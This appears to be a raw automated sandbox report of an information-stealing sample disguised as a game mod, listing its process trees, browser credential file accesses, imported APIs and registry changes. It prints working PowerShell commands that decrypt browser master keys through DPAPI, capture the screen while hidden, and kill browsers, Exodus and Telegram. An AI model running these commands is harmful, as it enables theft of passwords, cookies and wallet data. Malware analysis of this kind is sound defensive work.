"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\typing.cpython-310.pyc.1682474068000" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\collections\__pycache__\abc.cpython-310.pyc.1682467672976" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\re.cpython-310.pyc.1682474069152" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\enum.cpython-310.pyc.1682474069440" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\sre_compile.cpython-310.pyc.1682473800960" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\sre_parse.cpython-310.pyc.1682473801536" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\copyreg.cpython-310.pyc.1682473845648" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\__pycache__\__main__.cpython-310.pyc.1682467673456" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_internal\__pycache__\__init__.cpython-310.pyc.1682474269696" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_internal\utils\__pycache__\__init__.cpython-310.pyc.1682473505824" with delete access "python.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_internal\utils\__pycache__\inject_securetransport.cpython-310.pyc.1682462276080" with delete access76:T426,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")77:T52d,"libcrypto-1_1.dll" claimed CRC 4494561 while the actual is CRC 3463858 "sqlite3.dll" claimed CRC 3463858 while the actual is CRC 1527265 "libssl-1_1.dll" claimed CRC 1527265 while the actual is CRC 704753 "python.exe" claimed CRC 704753 while the actual is CRC 113909 "vcruntime140.dll" claimed CRC 113909 while the actual is CRC 116404 "pythonw.exe" claimed CRC 116404 while the actual is CRC 135078 "python3.dll" claimed CRC 135078 while the actual is CRC 103122 "vcruntime140_1.dll" claimed CRC 103122 while the actual is CRC 54226 "unicodedata.pyd" claimed CRC 54226 while the actual is CRC 1148956 "_decimal.pyd" claimed CRC 1148956 while the actual is CRC 255490 "pyexpat.pyd" claimed CRC 255490 while the actual is CRC 214364 "_ssl.pyd" claimed CRC 214364 while the actual is CRC 159794 "_lzma.pyd" claimed CRC 159794 while the actual is CRC 156768 "_elementtree.pyd" claimed CRC 156768 while the actual is CRC 183517 "_ctypes.pyd" claimed CRC 183517 while the actual is CRC 129528 "_sqlite3.pyd" claimed CRC 129528 while the actual is CRC 156309 "_bz2.pyd" claimed CRC 156309 while the actual is CRC 108803 "_socket.pyd" claimed CRC 108803 while the actual is CRC 118163 "_asyncio.pyd" claimed CRC 118163 while the actual is CRC 91548 "_hashlib.pyd" claimed CRC 91548 while the actual is CRC 6932678:T51b,SetKernelObjectSecurity OpenProcessToken RegCloseKey RegOpenKeyExW WriteFile SleepConditionVariableSRW VirtualProtect GetModuleHandleExW CreateFileMappingA GetTickCount64 GetThreadContext SleepEx GetModuleFileNameW VirtualAllocExNuma ConnectNamedPipe GetTempPathW GetTickCount LoadLibraryExW LoadLibraryExA FindResourceW CreateFileA Sleep GetCommandLineW GetFileAttributesExW GetProcAddress VirtualAlloc FindNextFileW LoadLibraryW CreateFileMappingW IsDebuggerPresent CreateDirectoryW FindFirstFileExW CreateThreadpoolTimer OutputDebugStringA UnhandledExceptionFilter TerminateProcess GetFileSize MapViewOfFileEx CreateProcessW LoadLibraryA GetSystemInfo CreateThread GetFileSizeEx GetModuleHandleW OutputDebugStringW DisconnectNamedPipe MapViewOfFile ExitThread CreateFileW ShellExecuteW RegCreateKeyW RegDeleteValueW RegCreateKeyExW GetUserNameW RegDeleteKeyW RegEnumKeyExW DeviceIoControl GetModuleHandleA FindFirstFileW DeleteFileW GetFileAttributesW Process32Next Process32First OpenProcess OpenFileMappingW GetVersionExW CreateToolhelp32Snapshot send GetStartupInfoW recvfrom connect WSAStartup listen closesocket accept socket recv bind sendto DeleteFileA GetFileAttributesA GetTempPathA GetComputerNameExW WSASocketW79:T193c,Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008372) Process "taskkill.exe" with commandline "taskkill /F /IM vivaldi.exe" (UID: 00000000-00008568) Process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00001072) Process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00002300) Process "taskkill.exe" with commandline "taskkill /F /IM QQBrowser.exe" (UID: 00000000-00003748) Process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00004492) Process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00002132) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00001900) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00008432) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00007796) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00003632) Process "cmd.exe" with commandline "/d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""" (UID: 00000000-00005100) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00002044) Process "cmd.exe" with commandline "/d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""" (UID: 00000000-00000940) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00003696) Process "cmd.exe" with commandline "/d /s /c "tasklist /FO CSV /NH"" (UID: 00000000-00008992) Process "tasklist.exe" with commandline "tasklist /FO CSV /NH" (UID: 00000000-00005868) Process "cmd.exe" with commandline "/d /s /c "tasklist /FO CSV /NH"" (UID: 00000000-00009208) Process "tasklist.exe" with commandline "tasklist /FO CSV /NH" (UID: 00000000-00002656) Process "cmd.exe" with commandline "/d /s /c "taskkill /IM Exodus.exe /F"" (UID: 00000000-00005728) Process "cmd.exe" with commandline "/d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""" (UID: 00000000-00007728) Process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00004788) Process "taskkill.exe" with commandline "taskkill /IM Exodus.exe /F" (UID: 00000000-00007596) Process "cmd.exe" with commandline "/d /s /c "taskkill /IM Telegram.exe /F"" (UID: 00000000-00008104) Process "taskkill.exe" with commandline "taskkill /IM Telegram.exe /F" (UID: 00000000-00005232)7a:T77c,Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00004388) Process "taskkill.exe" with commandline "taskkill /F /IM brave.exe" (UID: 00000000-00007420) Process "taskkill.exe" with commandline "taskkill /F /IM msedge.exe" (UID: 00000000-00008680) Process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00006084) Process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00006456) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00002056) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008480) Process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008372) Process "taskkill.exe" with commandline "taskkill /F /IM vivaldi.exe" (UID: 00000000-00008568) Process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00001072) Process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00002300) Process "taskkill.exe" with commandline "taskkill /F /IM QQBrowser.exe" (UID: 00000000-00003748) Process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00004492) Process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00002132) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00001900) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00008432) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00007796) Process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00003632) Process "taskkill.exe" with commandline "taskkill /IM Exodus.exe /F" (UID: 00000000-00007596) Process "taskkill.exe" with commandline "taskkill /IM Telegram.exe /F" (UID: 00000000-00005232)7b:Tbd7,"python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\First Run" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Browser" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Version" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Variations" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\History" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BraveSoftware\Brave-Browser\User Data" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\First Run" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\FirstLaunchAfterInstallation" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\first_party_sets.db" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\first_party_sets.db-journal" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Last Browser" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Last Version" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\MamCache.json" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\MamLog.txt" "python.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter"7c:Tc04,Process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00005884) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00002044) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00003696) Process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00004788)7d:T27f6,Spawned process "ChilloutVRMods.exe" (UID: 00000000-00007912) Spawned process "zeppskdd.exe" (UID: 00000000-00004592) Spawned process "cmd.exe" with commandline "/d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""" (UID: 00000000-00001732) Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00005884) Spawned process "cmd.exe" with commandline "/d /s /c "cscript //nologo //B "%TEMP%\\system_check_1788280749172.vbs""" (UID: 00000000-00008912) Spawned process "cscript.exe" with commandline "cscript //nologo //B "%TEMP%\\system_check_1788280749172.vbs"" (UID: 00000000-00004004) Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q pycryptodome" (UID: 00000000-00000636) Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q pywin32" (UID: 00000000-00007668) Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q PythonForWindows" (UID: 00000000-00008784) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00003436) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00005596) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00007200) Spawned process "python.exe" with commandline "%LOCALAPPDATA%\\btwStealer-local\\output\\browser_forensics.py" (UID: 00000000-00003736) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00004388) Spawned process "taskkill.exe" with commandline "taskkill /F /IM brave.exe" (UID: 00000000-00007420) Spawned process "taskkill.exe" with commandline "taskkill /F /IM msedge.exe" (UID: 00000000-00008680) Spawned process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00006084) Spawned process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00006456) Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00002056) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008480) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008372) Spawned process "taskkill.exe" with commandline "taskkill /F /IM vivaldi.exe" (UID: 00000000-00008568) Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00001072) Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00002300) Spawned process "taskkill.exe" with commandline "taskkill /F /IM QQBrowser.exe" (UID: 00000000-00003748) Spawned process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00004492) Spawned process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00002132) Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00001900) Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00008432) Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00007796) Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00003632) Spawned process "cmd.exe" with commandline "/d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""" (UID: 00000000-00005100) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00002044) Spawned process "cmd.exe" with commandline "/d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""" (UID: 00000000-00000940) Spawned process "powershell.exe" with commandline 